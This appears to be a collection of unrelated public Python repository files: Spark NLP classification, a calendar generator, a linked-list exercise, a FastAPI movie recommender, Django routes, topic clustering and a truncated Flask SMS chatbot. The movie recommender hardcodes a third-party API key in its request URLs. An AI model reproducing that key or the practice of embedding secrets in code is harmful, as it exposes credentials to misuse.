.config(\"spark.kryoserializer.buffer.max\", \"2000m\") .config(\"spark.jsl.settings.pretrained.cache_folder\", \"sample_data/pretrained\") .config(\"spark.jsl.settings.storage.cluster_tmp_dir\", \"sample_data/storage\") .config(\"spark.jars.packages\", \"com.johnsnowlabs.nlp:spark-nlp_2.12:5.0.0\") .getOrCreate()\n\nprint(\"Spark NLP version: \", sparknlp.version())\nprint(\"Apache Spark version: \", spark.version)\n\nspark\n\n# Loading database\nbase = spark.read \\\n .option(\"header\", True) \\\n .csv(\"base3.csv\")\n\nbase.show(truncate=False);\nprint (type(base));\n\n# Start TRANSFORMER\n\ndocumentAssembler = DocumentAssembler().setInputCol(\"quadri\").setOutputCol(\"document\")\ndoc_df=documentAssembler.transform(base)\ndoc_df.show()\n\ntokenizer = Tokenizer().setInputCols([\"document\"]).setOutputCol(\"token\")\ndoc_df2=tokenizer.fit(doc_df).transform(doc_df)\ntype(doc_df2)\ndoc_df2.select(\"token.result\").show(truncate=False)\n\nfinisher = Finisher() \\\n .setInputCols([\"token\"]) \\\n .setOutputCols([\"token_features\"]) \\\n .setOutputAsArray(True) \\\n .setCleanAnnotations(False)\n\n# CountVectos is fundamental to learning epoach\ncountVectors = CountVectorizer(inputCol=\"token_features\", outputCol=\"features\", vocabSize=10000, minDF=5)\n\nfrom pyspark.ml.feature import CountVectorizer, HashingTF, IDF, OneHotEncoder, StringIndexer, VectorAssembler, SQLTransformer\nlabel_stringIdx = StringIndexer(inputCol = \"exp\", outputCol = \"label\")\nnlp_pipeline = Pipeline(\n stages=[documentAssembler,\n tokenizer,finisher,countVectors, label_stringIdx])\n\nnlp_model = nlp_pipeline.fit(base)\n\nprocessed = nlp_model.transform(base)\nprocessed.count()\n\ntype(label_stringIdx)\n\nprocessed.select('*').show(truncate=50)\nprocessed.select('quadri','token').show(truncate=50)\n\nprocessed.select('token_features').show(truncate=False)\n\n(trainingData, testData) = processed.randomSplit([0.7, 0.3], seed = 100)\nprint(\"Training Dataset Count: \" + str(trainingData.count()))\nprint(\"Test Dataset Count: \" + str(testData.count()))\n\ntrainingData.show()\n\nprocessed.select('label','exp').show()\n\ntrainingData.printSchema()\n\nfrom pyspark.ml.classification import LogisticRegression\n\nlr = LogisticRegression(maxIter=10, regParam=0.3, elasticNetParam=0)\n\nlrModel = lr.fit(trainingData)\n\nlrn_summary = lrModel.summary\nlrn_summary.predictions.show()\n\npredictions = lrModel.transform(testData)\n\npredictions.filter(predictions['prediction'] == 0) \\\n .select(\"quadri\",\"exp\",\"probability\",\"label\",\"prediction\") \\\n .orderBy(\"probability\", ascending=False) \\\n .show(n = 10, truncate = 30)\n\n#from pyspark.ml.evaluation import MulticlassClassificationEvaluator\n\nevaluator = MulticlassClassificationEvaluator(predictionCol=\"prediction\")\n\nprint(evaluator.evaluate(predictions))\n\n","repo_name":"fulcrunn/NLP","sub_path":"tcc.py","file_name":"tcc.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26612069401","text":"from datetime import date, timedelta\nfrom dateutil import relativedelta\nfrom ics import Calendar, Event, alarm\n\n\nYEARS = 20\n\n\ndef make_calendar_event(dates_in_isoformat):\n c = Calendar()\n for d in dates_in_isoformat:\n e = Event()\n e.name = 'Friday the 13th'\n e.begin = d\n e.make_all_day()\n notification = alarm.DisplayAlarm(timedelta(seconds=-60*60*12))\n e.alarms.append(notification)\n c.events.add(e)\n\n fname = 'f13.ics'\n with open(fname, 'w') as my_file:\n my_file.writelines(c)\n print(f'Wrote to: {fname}')\n\n\ndef is_friday_the_13th(d):\n # date.weekday == 4 when day is Friday\n return d.weekday() == 4 and d.day == 13\n\n\ndef iterate_dates(num_years, verbose=False):\n \"\"\"Checks num_years from the closest 13th.\"\"\"\n found_dates = []\n today = date.today()\n if today.day > 13:\n today = today + relativedelta.relativedelta(months=1)\n first_day = today.replace(day=13)\n for y in range(num_years):\n for m in range(12):\n candidate = first_day + relativedelta.relativedelta(months=m, years=y)\n found = is_friday_the_13th(candidate)\n if found:\n found_dates.append(candidate.isoformat())\n if verbose:\n print(candidate)\n print(f'After searching over {num_years}, found {len(found_dates)} F13\\'s')\n return found_dates\n\nfound_dates = iterate_dates(YEARS)\nmake_calendar_event(found_dates)\n","repo_name":"ElPiloto/friday_the_13th_calendar","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1113172043","text":"frase = str(input('Digite uma frase para verificar se ela é um palíndromo: ')).strip().upper()\npalavras = frase.split()\njunto = ''.join(palavras)\ninverso = ''\n# outra forma sem utilizar o for -> inverso = junto[::-1]\nfor letra in range(len(junto) -1, -1, -1):\n inverso += junto[letra]\nif inverso == junto:\n print('A frase {} é um palíndromo.'.format(frase))\nelse:\n print('A frase {} não é um palíndromo.'.format(frase))\nprint('O inverso de {} é {}.'.format(junto, inverso))","repo_name":"Rbueno96/Python","sub_path":"Exercicios/ex053 - Detector de Palíndromo.py","file_name":"ex053 - Detector de Palíndromo.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26905214843","text":"import argparse\n\n\ndef get_args():\n \"\"\"This function manages the arguments in this main function\"\"\"\n\n # Define aguments\n parser = argparse.ArgumentParser()\n parser.add_argument('num', type=int, default=10**2)\n\n args = parser.parse_args()\n\n return args\n\n\ndef main():\n args = get_args()\n\n print(args.num)\n for i in range(args.num):\n print(i)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Kevinrobot34/cp_python_tips","sub_path":"pycon2020/stdin_test_generator.py","file_name":"stdin_test_generator.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27809092571","text":"from copy import copy\r\nimport Aufwandsklassen as ak\r\n\r\nclass VerketteteListe:\r\n\r\n def __init__(self):\r\n self.startElement = ListElement(None)\r\n\r\n def addLast(self, obj):\r\n if self.startElement.getObj() == None:\r\n self.startElement = ListElement(obj)\r\n else:\r\n newElement = ListElement(obj)\r\n lastElement = self.getLastElement()\r\n lastElement.setNextElem(newElement)\r\n\r\n def insertAfter(self, prevItem, newItem):\r\n pointerElem = self.startElement\r\n while pointerElem is not None and pointerElem.getObj() != prevItem:\r\n pointerElem = pointerElem.getNextElem()\r\n\r\n newElem = ListElement(newItem)\r\n nextElem = pointerElem.getNextElem()\r\n pointerElem.setNextElem(newElem)\r\n newElem.setNextElem(nextElem)\r\n\r\n def delete(self, o):\r\n le = self.startElement\r\n while le.getNextElem() is not None and le.getObj() is not o:\r\n if le.getNextElem().getObj() == o:\r\n if le.getNextElem().getNextElem() is not None:\r\n le.setNextElem(le.getNextElem().getNextElem())\r\n else:\r\n le.setNextElem(None)\r\n break\r\n\r\n le = le.getNextElem()\r\n\r\n def find(self, o):\r\n le = self.startElement\r\n while le is not None:\r\n if le.getObj() == o:\r\n return True\r\n le = le.nextElement\r\n return False\r\n\r\n def getFirstElem(self):\r\n return self.startElement\r\n\r\n def getLastElement(self):\r\n le = self.startElement\r\n while le.getNextElem() is not None:\r\n le = le.getNextElem()\r\n\r\n return le\r\n\r\n def writeList(self):\r\n le = self.startElement\r\n while le is not None:\r\n print(le.getObj())\r\n le = le.getNextElem()\r\n\r\n def getLength(self):\r\n le = self.startElement\r\n cnt = 0\r\n while le is not None:\r\n cnt += 1\r\n le = le.nextElement\r\n return cnt\r\n\r\n def index(self, o):\r\n le = self.startElement\r\n cnt = 0\r\n while le is not None:\r\n cnt += 1\r\n if le.nextElement.getObj() == o:\r\n return cnt\r\n le = le.nextElement\r\n return None\r\n\r\n def clearList(self):\r\n le = self.startElement\r\n zw = le\r\n for i in range(self.getLength()):\r\n if zw.nextElement is not None:\r\n le = zw.nextElement\r\n zw = copy(le)\r\n self.delete(le.getObj())\r\n \r\n\r\n def copyList(self):\r\n copied = VerketteteListe()\r\n le = self.startElement\r\n while le is not None:\r\n if le.getNextElem() is not None:\r\n le = le.getNextElem()\r\n copied.addLast(le.getObj())\r\n else:\r\n return copied\r\n\r\n def extend(self, secondList):\r\n le = secondList.startElement.nextElement\r\n # print(le.getObj())\r\n # print(self.writeList())\r\n while le is not None:\r\n self.addLast(le.getObj())\r\n le = le.nextElement\r\n\r\n def pop(self, index):\r\n le = self.startElement\r\n cnt = 0\r\n for cnt in range(index - 1):\r\n le = le.getNextElem()\r\n\r\n # print(le.getObj())\r\n self.delete(le.getObj())\r\n print(le.getObj())\r\n return le.getObj()\r\n\r\n def sortList(self):\r\n for i in range(self.getLength()):\r\n current = self.startElement\r\n for j in range(self.getLength() - i - 1):\r\n if current.getObj() > current.getNextElem().getObj():\r\n current.obj, current.nextElement.obj = current.getNextElem().getObj(), current.getObj()\r\n current = current.nextElement\r\n\r\n \r\nclass ListElement:\r\n\r\n def __init__(self, obj):\r\n self.obj = obj\r\n self.nextElement = None\r\n\r\n def setNextElem(self, nextElem):\r\n self.nextElement = nextElem\r\n\r\n def getNextElem(self):\r\n return self.nextElement\r\n\r\n def getObj(self):\r\n return self.obj\r\n\r\n\r\nif __name__ == \"__main__\":\r\n run = True\r\n list = VerketteteListe()\r\n list.addLast(\"1\")\r\n list.addLast(\"9\")\r\n list.addLast(\"3\")\r\n list.addLast(\"4\")\r\n list.addLast(\"5\")\r\n while run:\r\n print(\"-------------------\")\r\n list.writeList()\r\n print(\"-------------------\")\r\n print(\"1 --> Add Element\")\r\n print(\"2 --> Insert after element\")\r\n print(\"3 --> Delete element\")\r\n print(\"4 --> Find element\")\r\n print(\"5 --> Show first element\")\r\n print(\"6 --> Show last element\")\r\n print(\"7 --> Print list\")\r\n print(\"8 --> Show index of element\")\r\n print(\"9 --> Clear list\")\r\n print(\"10 --> Copy list\")\r\n print(\"11 --> Extend List\")\r\n print(\"12 --> Pop element\")\r\n print(\"13 --> Sort list\")\r\n print(\"14 --> Show Statistics\")\r\n inp = input(\"Choose what u want to do...\")\r\n if inp == \"1\":\r\n add = input(\"Which number do you want to add?\")\r\n list.addLast(add)\r\n list.writeList()\r\n elif inp == \"2\":\r\n insert = input(\"After which element do you want to add a new element? e.g. 1:2\")\r\n insert = insert.split(\":\")\r\n list.insertAfter(insert[0], insert[1])\r\n list.writeList()\r\n elif inp == \"3\":\r\n delete = input(\"Which element do you want to delete?\")\r\n list.delete(delete)\r\n list.writeList()\r\n elif inp ==\"4\":\r\n find = input(\"Find element\")\r\n print(list.find(find))\r\n elif inp == \"5\":\r\n print(list.getFirstElem().getObj())\r\n elif inp == \"6\":\r\n print(list.getLastElement().getObj())\r\n elif inp == \"7\":\r\n list.writeList()\r\n elif inp == \"8\":\r\n index = input(\"Which element do you want to get the index from\")\r\n print(list.index(index))\r\n elif inp == \"9\":\r\n list.clearList()\r\n elif inp == \"11\":\r\n second = input(\"Enter list to extend...\")\r\n second = second.split(\",\")\r\n newList = VerketteteListe()\r\n for s in second:\r\n newList.addLast(s)\r\n list.extend(newList)\r\n list.writeList()\r\n elif inp == \"10\":\r\n copied = list.copyList()\r\n print(copied.writeList())\r\n elif inp == \"12\":\r\n pop = input(\"Which elemente at what index do you want to pop\")\r\n list.pop(int(pop))\r\n elif inp == \"13\":\r\n list.sortList()\r\n elif inp == \"14\":\r\n ak.stats()\r\n\r\n # list.insertAfter(\"9\", \"neu\")\r\n # list.delete(\"3\")\r\n # print(\"First Element: \" + list.getFirstElem().getObj())\r\n # print(\"Is 3 included? \", + list.find(\"3\"))\r\n # print(\"IS 5 included?, \", list.find(\"5\"))\r\n # print(\"Last Element: \" + list.getLastElement().getObj())\r\n\r\n # print(\"Clearing list...\")\r\n # list.clearList()\r\n # list.writeList()\r\n\r\n # print(\"Copy list...\")\r\n # copied = list.copyList()\r\n # print(copied.writeList())\r\n # print(copied.getLength())\r\n\r\n #list1 = VerketteteListe()\r\n #list1.addLast(\"6\")\r\n #list1.addLast(\"7\")\r\n\r\n #print(\"Extend second list...\")\r\n #list.extend(list1)\r\n #list.writeList()\r\n\r\n # print(\"Pop...\")\r\n # list.pop(2)\r\n # list.writeList()\r\n\r\n # print(\"Sorting...\")\r\n #newList = list.sortList()\r\n #newList.writeList()\r\n","repo_name":"5uvus/Rubner","sub_path":"Listen/Einfache.py","file_name":"Einfache.py","file_ext":"py","file_size_in_byte":7538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2763140033","text":"# backend that gets a list of movies objects as a post request and returns a list of movies objects as a response fastapi\nimport os\nimport sys\nsys.path.append('C:/Users/gabri/Desktop/Faculta/WebIR/WebIR/WebIR/GeneradorDeEstructuras')\nfrom fastapi import FastAPI\nfrom typing import List, Union\nfrom pydantic import BaseModel\nimport requests\nimport threading\nimport sqlite3\nimport pandas as pd\n\nfrom pruebaUsandoEstructuras import recommend_movies\nfrom fastapi.middleware.cors import CORSMiddleware\n\napp = FastAPI()\nBDPath = 'C:/Users/gabri/Desktop/Faculta/WebIR/WebIR/WebIR/GeneradorDeEstructuras/dataBase/Peliculas.db'\norigins = [\n \"http://localhost\",\n \"http://localhost:3000\",\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n \n\nclass Movie(BaseModel):\n id: int\n stars: float\n\n\n@app.post(\"/movies\")\nasync def create_movie(movies: List[Movie], distribuidores: List[str]):\n user = []\n distributors = []\n conn = sqlite3.connect(BDPath)\n moviesDB = pd.read_sql_query(\"SELECT * from Peliculas\", conn)\n for movie in movies:\n #search in sqlite3 database for the movie with the id_imdb = movie.id\n \n movie_bd = moviesDB.loc[moviesDB.id_imdb == movie.id]\n if len(movie_bd) > 0:\n movie_bd = movie_bd.iloc[0]\n user.append((movie_bd.id, movie.stars))\n else:\n print(\"movie not found\"+ str(movie.id))\n for d in distribuidores:\n distributors.append(d)\n recommend = recommend_movies(user, distributors, 10)\n #api post to imdb api to get the movies timeout 20 seconds\n movies = []\n def get_movies_by_id(id):\n url = 'https://api.themoviedb.org/3/movie/'+str(id)+'?api_key=f9a3efe8c813e81a40a9b661bde37457'\n response = requests.get(url)\n if response.status_code == 200:\n movies.append(response.json())\n def get_series_by_id(id):\n url = 'https://api.themoviedb.org/3/tv/'+str(id)+'?api_key=f9a3efe8c813e81a40a9b661bde37457'\n response = requests.get(url)\n if response.status_code == 200:\n movies.append(response.json())\n recommendIdImdb = []\n\n for (movieId, rating) in recommend:\n #search in sqlite3 database for the movie with the id_imdb = movie.id\n movie_bd = moviesDB.loc[moviesDB.id == movieId]\n if len(movie_bd) > 0:\n movie_bd = movie_bd.iloc[0]\n recommendIdImdb.append([movie_bd.id_imdb, movie_bd.id])\n\n conn = sqlite3.connect(BDPath)\n titles = pd.read_sql_query(\"SELECT * from titles\", conn)\n threds = []\n for [movieId_IMDB, movieId] in recommendIdImdb:\n #get for the table titles if the movie is a movie or a serie\n title = titles.loc[titles.field1 == str(movieId)]\n #get the id from tmdb\n if len(title) > 0:\n title = title.iloc[0]\n if title.field4 == \"MOVIE\":\n threds.append(threading.Thread(target=get_movies_by_id, args=(movieId_IMDB,)))\n else:\n threds.append(threading.Thread(target=get_series_by_id, args=(movieId_IMDB,)))\n else:\n print(\"title not found \"+ str(movieId))\n for t in threds:\n t.start()\n for t in threds:\n t.join()\n print(\"movies\")\n print(movies)\n return movies \n\n","repo_name":"Gabito2000/WebIR","sub_path":"BackEnd/ServidorBackEnd.py","file_name":"ServidorBackEnd.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33597394151","text":"import json\nimport datetime \nimport pandas as pd\n \n\n#leitor do contrato \ndef read_contrac(letra_contrato): \n \n f = open('contrato{}.json'.format(letra_contrato.upper())) \n contrato = json.load(f)\n \n return contrato\n\ndef read_feriados():\n\n feriados = pd.read_csv('feriados.csv')\n \n return feriados\n\n#Numero de eventos de pagamento do titulo\ndef n_eventos(letra_contrato):\n\n contrato = read_contrac(letra_contrato)\n pagamentos = contrato[\"schedules\"]\n \n hoje = datetime.datetime.now()\n n = 0\n\n for i in range(len(pagamentos)):\n data_evento = datetime.datetime.strptime(pagamentos[i]['due_date'],\"%Y-%m-%d\")\n if data_evento <= hoje:\n n+=1\n\n return n\n\n\n","repo_name":"MateusMelloSouza/Calculadora-Debenture","sub_path":"codigo/leitor.py","file_name":"leitor.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18999641091","text":"from django.urls import path, include\nfrom back_end import views\nfrom back_end.routers import ApiRouter, ApiRouterExtended, AdminRouter\nfrom rest_framework.routers import DefaultRouter\nfrom rest_framework.authtoken import views as authviews\nfrom django.conf.urls import include\n# from rest_framework.authtoken.models import \n# from rest_framework.authentication import TokenAuthentication\n\nrouter_1 = ApiRouter()\nrouter_1.register(r'ActualTotalLoad', views.ActualTotalLoadViewSet)\nrouter_1.register(r'DayAheadTotalLoadForecast', views.DayAheadTotalLoadForecastViewSet)\nrouter_1.register(r'ActualvsForecast', views.ActualvsForecastViewSet)\n\n\n# router_4 = DefaultRouter()\n# router_4.register(r'MapCode', views.MapCodeViewSet)\n\nrouter_2 = ApiRouterExtended()\nrouter_2.register(r'AggregatedGenerationPerType', views.AggregatedGenerationPerTypeViewSet)\n\nrouter_3 = AdminRouter()\nrouter_3.register(r'Admin', views.AdminViewSet)\n\nurlpatterns = [\n path('Login', authviews.obtain_auth_token),\n path('Logout', views.logout),\n #path('', include(router_4.urls)),\n path('', include(router_1.urls)),\n path('', include(router_2.urls)),\n path('', include(router_3.urls)),\n path('api-auth/', include('rest_framework.urls')),\n path('HealthCheck', views.health_check),\n path('Reset', views.reset_database),\n]\n","repo_name":"ntonasa/Nexus-Electric","sub_path":"back_end/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33460430251","text":"import os\nimport sys\nimport fileinput\nimport glob\nimport re\nimport winsound\nimport config\n\nFreq = 1700 # Set Frequency To 2500 Hertz\nDur = 250 # Set Duration To 1000 ms == 1 second\n\ndef removeTextInline( theText, theFile ):\n with open( theFile ) as f:\n contents = f.read()\n if theText in contents:\n f.close()\n print( \"Found \" + theText + \" in \" + theFile )\n for line in fileinput.input(theFile, inplace = True):\n if not theText in line:\n print (line, end='')\n if ( config.videotato_config['PLAY_SOUND_ON_DELETE'] is True ):\n winsound.Beep(Freq,Dur)\n\nif ( os.path.isfile( \"result.txt\" ) ):\n resultFile = open( \"result.txt\", \"r\" )\n resultText = resultFile.read().strip()\n resultFile.close()\n if resultText:\n for file in glob.glob( 'channel_data/*' ):\n removeTextInline( resultText, file )\n for file in glob.glob( 'playlist_data/*' ):\n removeTextInline( resultText, file )\n for file in glob.glob( 'music_data/*' ):\n removeTextInline( resultText, file )\n for file in glob.glob( 'full_url_site_data/*' ):\n removeTextInline( resultText, file )\n else:\n print( \"Invalid result text: \" + resultText )\nelse:\n print( \"result.txt doesn't exist.\" )\n","repo_name":"Protuhj/videotato","sub_path":"removeLastVideo.py","file_name":"removeLastVideo.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"19784182423","text":"import Constants\r\nimport pandas as pd\r\n\r\n'''\r\n业务:将数据库的数据取出来\r\n'''\r\n# # 符合基本要求的95名学生\r\n# # name email stu_id active ……\r\n# sql = \"select * from stu_base\"\r\n# df = pd.read_sql(sql, Constants.myConn)\r\n# path = \"baseInformation/stage0/stu_base.csv\"\r\n# df.to_csv(path, index=False)\r\n#\r\n# # 测试题\r\n# # stu_id email chapter chapter_son chapter_grandson description……\r\n# sql = \"select * from test_question\"\r\n# df = pd.read_sql(sql, Constants.myConn)\r\n# path = \"testQuestions/stage0/test_question.csv\"\r\n# df.to_csv(path, index=False)\r\n\r\n'''\r\n业务:将数据与后来添加的评论成绩合并\r\n'''\r\ndef merge_forum():\r\n path_forum = \"forum/stage1/forum.csv\"\r\n for type in Constants.list_type:\r\n path_0 = \"video/stage1/knowledgePoint/\"+type+\"/all.csv\"\r\n df = pd.read_csv(path_0)\r\n df_forum = pd.read_csv(path_forum)\r\n df_all = pd.merge(df, df_forum)\r\n path_1 = \"video/stage2/knowledgePoint/\" + type + \"/all.csv\"\r\n df_all.to_csv(path_1, index=False)","repo_name":"Abandonment20200706github/Learning-early-warning","sub_path":"featureProject.py","file_name":"featureProject.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37334541207","text":"from gensim.models import LdaModel\r\nfrom gensim.corpora import Dictionary\r\n\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.cluster.hierarchy import dendrogram\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.cluster import AgglomerativeClustering\r\n\r\n\r\ndef main():\r\n\r\n # Load a pretrained model from disk.\r\n lda = LdaModel.load(\"RC_LDA_50_True.lda\")\r\n\r\n # Load pre-determined topic names\r\n dictionary = [\"Marijuana vs\\nalcohol/tobacco\",\"UNCLEAR/JUNK\",\"Hemp growing\",\r\n \"Party politics\", \"Quantity (mass,time,fine)\",\"UNCLEAR/JUNK\",\r\n \"Government & Systemic Power\",\"Organized crime\",\"Federal legalization\",\r\n \"Marijuana in the media\",\"Marijuana and crime\",\"Legal Marijuana Market\",\r\n \"Relation to hard drugs\\nand hallucinogens\",\"Reasons for legalization\",\r\n \"State-level legalization\",\"Police car search\",\"Medicinal Marijuana\",\r\n \"Marijuana Plant Contents\",\"International + Employment\",\r\n \"FDA Schedule Classification\",\"UNCLEAR/JUNK\",\"President and\\nInternational Affairs\",\r\n \"Use and family\",\"Canada and Housing Prices\",\"User stereotypes\",\r\n \"Private Industry\",\"West Coast + Supplements\",\"International\",\"Police house search\",\r\n \"Legal procedures\",\"UNCLEAR/JUNK\",\"Reddit\",\"UNCLEAR/JUNK\",\"UNCLEAR/JUNK\",\r\n \"Legal cases\",\"Drug Testing\",\"UNCLEAR/JUNK\",\"Individual punishment\",\r\n \"Legalization as\\nan electoral issue\",\"Local delivery\",\"Local legislatures\",\r\n \"Research about effects\",\"Driving Drunk/High\",\"Racial Disparities\",\r\n \"Court processes in cases\",\"Effects of Smoking\\nMarijuana/Tobacco/E-Cig\",\r\n \"Edible Foods/Mixed\",\"Reliability of Enforcement\",\"Gun Control\",\"Expletives\"]\r\n\r\n # Get the topic-word probability distributions\r\n distribution = lda.get_topics()\r\n\r\n # Remove predetermined junk topics\r\n remove_index = np.array([1, 5, 18, 20, 21, 23, 26, 27, 30, 31, 32, 33, 36, 39, 46])\r\n\r\n track_array = np.arange(50) # track array\r\n\r\n # Remove the junk topic distributions from the matrix\r\n for i in range(len(remove_index)):\r\n current_index = remove_index[len(remove_index) - i - 1]\r\n distribution = np.delete(distribution, current_index, 0)\r\n track_array = np.delete(track_array, current_index, 0)\r\n\r\n # Apply Agglomerative Clustering to the topic-word distributions\r\n # NOTE: setting distance_threshold=0 ensures we compute the full tree.\r\n model = AgglomerativeClustering(distance_threshold=0, n_clusters=None, affinity=\"l1\", linkage=\"complete\")\r\n\r\n # train\r\n model.fit(distribution)\r\n\r\n # plot\r\n plt.title('Hierarchical Clustering Dendrogram of Topics in Marijuana Legalization Reddit Discourse')\r\n\r\n # plot the dendrogram\r\n plot_dendrogram(model, truncate_mode='level', p=100, leaf_label_func=(lambda id: dictionary[track_array[id]]),\r\n leaf_rotation=90)\r\n plt.xlabel(\"Topic title\",fontsize=16)\r\n plt.ylabel(\"Regularized Euclidean Distance\",fontsize=16)\r\n plt.xticks(fontsize=11)\r\n plt.tight_layout()\r\n plt.show()\r\n\r\n# function to create linkage matrix and then plot the dendrogram\r\ndef plot_dendrogram(model, **kwargs):\r\n\r\n # create the counts of samples under each node\r\n counts = np.zeros(model.children_.shape[0])\r\n n_samples = len(model.labels_)\r\n for i, merge in enumerate(model.children_):\r\n current_count = 0\r\n for child_idx in merge:\r\n if child_idx < n_samples:\r\n current_count += 1 # leaf node\r\n else:\r\n current_count += counts[child_idx - n_samples]\r\n counts[i] = current_count\r\n\r\n # create the linkage matrix\r\n linkage_matrix = np.column_stack([model.children_, model.distances_,\r\n counts]).astype(float)\r\n\r\n # Plot the dendrogram\r\n dendrogram(linkage_matrix, **kwargs)\r\n\r\n# run the code\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"noah14noah/Gene_Editing_Study","sub_path":"Topic_Clustering.py","file_name":"Topic_Clustering.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18807099034","text":"from flask import Flask, request, redirect\nimport json\nimport requests\nimport re\nfrom html.parser import HTMLParser\nfrom google.cloud import translate, vision\nfrom google.cloud.vision import types\nimport urllib.request as urllib\nfrom twilio.twiml.messaging_response import Message, MessagingResponse\nfrom newsapi import NewsApiClient\nimport io\nimport os\n\napp = Flask(__name__)\n\nstatcode = -1\nstatholder = 0\nbotChoice = 0\nsearchRes = []\nnewsRes = []\nimgTags = []\n\n@app.route(\"/sms\", methods=['GET', 'POST'])\ndef sms():\n resp = MessagingResponse()\n message = request.form['Body']\n global statcode\n global statholder\n global searchRes\n global newsRes\n global botChoice\n\n\n if statcode == -1:\n if 'smsnet' in message.lower():\n resp.message(\"Well met! It appears that I've been summoned!\")\n statcode = 0\n return str(resp)\n\n if statcode == 0: #entry point\n if \"e\" in message.lower() or \"o\" in message.lower() or \"a\" in message.lower() or \"i\" in message.lower() or \"u\" in message.lower():\n resp.message(\"Welcome to SMSnet! Which of the following basic internet functions would you like to use?\\n1) Search\\n2) Directions\\n3) News\\n4) Translate\\n5) Image recognition and search\\n6) E-banking and finances\\nOr, if you'd prefer, I could just tell you a random joke!\")\n return str(resp)\n else:\n try:\n statcode = int(message)\n respStr = \"\"\n if statcode == 1:\n respStr = \"Cool! What are you looking to learn more about? Or, would you like me to show you something trending instead? (If so, say 'trending')\"\n elif statcode == 2:\n respStr = \"Nice! Where are you planning to go? If you need a recommendation, I know a great restaurant nearby. (say 'food' for a nearby restaurant)\"\n elif statcode == 3:\n respStr = \"Staying informed is great! What are you looking to catch up on? If you'd like, I could show you a hot news article. (say 'hot' for a popular topic)\"\n elif statcode == 4:\n respStr = \"Exotic! What do you want to translate, and to which language? (say e.g. 'Good morning, ru'). If you're feeling adventurous, I could teach you to say 'Hello' in a random language! (say 'teach')\"\n elif statcode == 5:\n respStr = \"Sure thing. Just send me an image and I'll try my best to identify it!\"\n elif statcode == 6:\n respStr += \"Serious business today! Here's how I can help--would you like:\\n1) Directions to nearest ATM\\n2) View your accounts\\n3) View your transfers\\n4) Open a new account\"\n else:\n respStr = \"Okay, here's a good one. What is a chatbot's favorite article of clothing?\"\n statcode = 7\n except:\n respStr = \"Request error, please try again.\"\n statcode = 0\n resp.message(respStr)\n return str(resp)\n \n elif statcode == 1: #search\n if 'trending' in message.lower():\n message = 'League of Legends world championship'\n if statholder == 0:\n searchRes, respStr = searchResults(message)\n resp.message(\"Search results for \" + message + '\\n\\n' + respStr + \"\\n\\nFor the next 3 results, reply 'next'.\")\n statholder = 100\n return str(resp)\n elif statholder == 100: #search option\n try:\n statholder = int(message)\n urlParas = urlToParagraphs(searchRes[statholder-1][\"url\"])\n respStr = urlParas[0] + \"\\n\\nFor the next paragraph, reply 'next'.\"\n except:\n respStr = \"Error parsing search string, please try again\"\n resp.message(respStr)\n statcode = 0\n statholder = 0\n return str(resp)\n\n\n elif statcode == 2: #maps\n if 'food' in message.lower():\n message = 'RU Hungry'\n directions, respStr = getDirections(message)\n resp.message('Directions to ' + message + '\\n\\n' + respStr)\n statcode = 0\n statholder = 0\n return str(resp)\n\n elif statcode == 3: #news\n if 'hot' in message.lower():\n message = 'Hong Kong'\n\n if statholder == 0:\n newsRes, respStr = getNews(message)\n resp.message('News related to ' + message + '\\n\\n' + respStr + \"\\n\\nFor the next 3 results, reply 'next'.\")\n statholder = 100\n return str(resp)\n elif statholder == 100: #search option\n #try:\n statholder = int(message)\n urlParas = urlToParagraphs(newsRes[statholder-1][\"url\"])\n respStr = urlParas[0] + \"\\n\\nFor the next paragraph, reply 'next'.\"\n #except:\n #respStr = \"Error parsing search string, please try again\"\n resp.message(respStr)\n statcode = 0\n statholder = 0\n return str(resp)\n\n\n elif statcode == 4: #translate\n if 'teach' in message.lower():\n message = 'Hello,sl'\n translate_client = translate.Client()\n translateMsg = message.split(',')[0]\n translateLang = message.split(',')[1].strip()\n translation = translate_client.translate(translateMsg, target_language = translateLang)\n language = \"English\"\n if translateLang == 'sl':\n language = \"Slovenian\"\n elif translateLang == 'es':\n language = \"Spanish\"\n elif transLateLang == 'ru':\n language = \"Russian\"\n respStr = \"'\" + translateMsg + \"' in \" + language + \" is '\" + translation['translatedText'] + \"'\"\n resp.message(respStr)\n statcode = 0\n statholder = 0\n return str(resp)\n\n elif statcode == 5: #images\n if statholder == 0:\n if request.values['NumMedia'] != '0':\n with open(\"/home/joheen_c/HackRUfall19/image.png\", 'wb') as f:\n image_url = request.values['MediaUrl0']\n f.write(requests.get(image_url).content)\n\n img_client = vision.ImageAnnotatorClient()\n with io.open('/home/joheen_c/HackRUfall19/image.png', 'rb') as image_file:\n content = 